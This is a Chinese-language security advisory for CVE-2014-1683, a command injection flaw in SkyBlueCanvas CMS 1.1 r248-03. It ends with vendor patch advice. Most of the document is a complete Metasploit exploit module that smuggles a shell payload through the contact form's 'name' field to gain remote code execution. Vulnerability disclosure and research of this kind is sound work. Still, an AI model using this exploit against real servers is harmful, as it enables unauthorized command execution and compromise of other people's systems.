发布日期：2014-01-23
更新日期：2014-02-12
受影响系统：
SkyBlueCanvas SkyBlueCanvas 1.1-r248-03
描述：
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BUGTRAQ ID: 65129
CVE(CAN) ID: CVE-2014-1683
SkyBlueCanvas是Web内容管理系统。
SkyBlueCanvas 1.1 r248-04之前版本，cms/data/skins/techjunkie/fragments/contacts/functions.php内的函数bashMail在pid参数为4时，可使远程攻击者通过index.php内name、email、subject、message参数里的shell元字符，利用此漏洞执行任意命令。
<*来源：Scott Parish （srp@srparish.net）
链接：
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'SkyBlueCanvas CMS Remote Code Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability
in SkyBlueCanvas CMS version 1.1 r248-03 and below.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Scott Parish', # Vulnerability discovery and exploit
'xistence <xistence[at]0x90.nl>' # Metasploit Module
],
'References' =>
[
['CVE', '2014-1683'],
['OSVDB', '102586'],
['BID', '65129'],
['EDB', '31183'],
['URL', 'http://packetstormsecurity.com/files/124948/SkyBlueCanvas-CMS-1.1-r248-03-Command-Injection.html']
],
'Privileged' => false,
'Payload' =>
{
# Arbitrary big number. The payload gets sent as an HTTP
# response body, so really it's unlimited
'Space' => 262144, # 256k
'DisableNops' => true,
'Compat' =>
{
'ConnectionType' => 'find',
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet python'
}
},
'Platform' => %w{ unix },
'Targets' =>
[
['SkyBlueCanvas 1.1 r248', {}]
],
'Arch' => ARCH_CMD,
'DisclosureDate' => 'Jan 28 2014',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI',[true, "The path to the SkyBlueCanvas CMS installation", "/"]),
],self.class)
end
def check
uri = normalize_uri(target_uri.path.to_s, "index.php")
res = send_request_raw('uri' => uri)
if res and res.body =~ /[1.1 r248]/
vprint_good("#{peer} - SkyBlueCanvas CMS 1.1 r248-xx found")
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def exploit
uri = normalize_uri(target_uri.path.to_s, "index.php")
send_request_cgi({
'method' => 'POST',
'uri' => uri,
'vars_get' => { 'pid' => '4' },
'vars_post' =>
{
'cid' => '3',
'name' => "#{rand_text_alphanumeric(10)}\";#{payload.encoded};",
'email' => rand_text_alphanumeric(10),
'subject' => rand_text_alphanumeric(10),
'message' => rand_text_alphanumeric(10),
'action' => 'Send'
}
})
end
end
建议：
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厂商补丁：
SkyBlueCanvas
-------------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：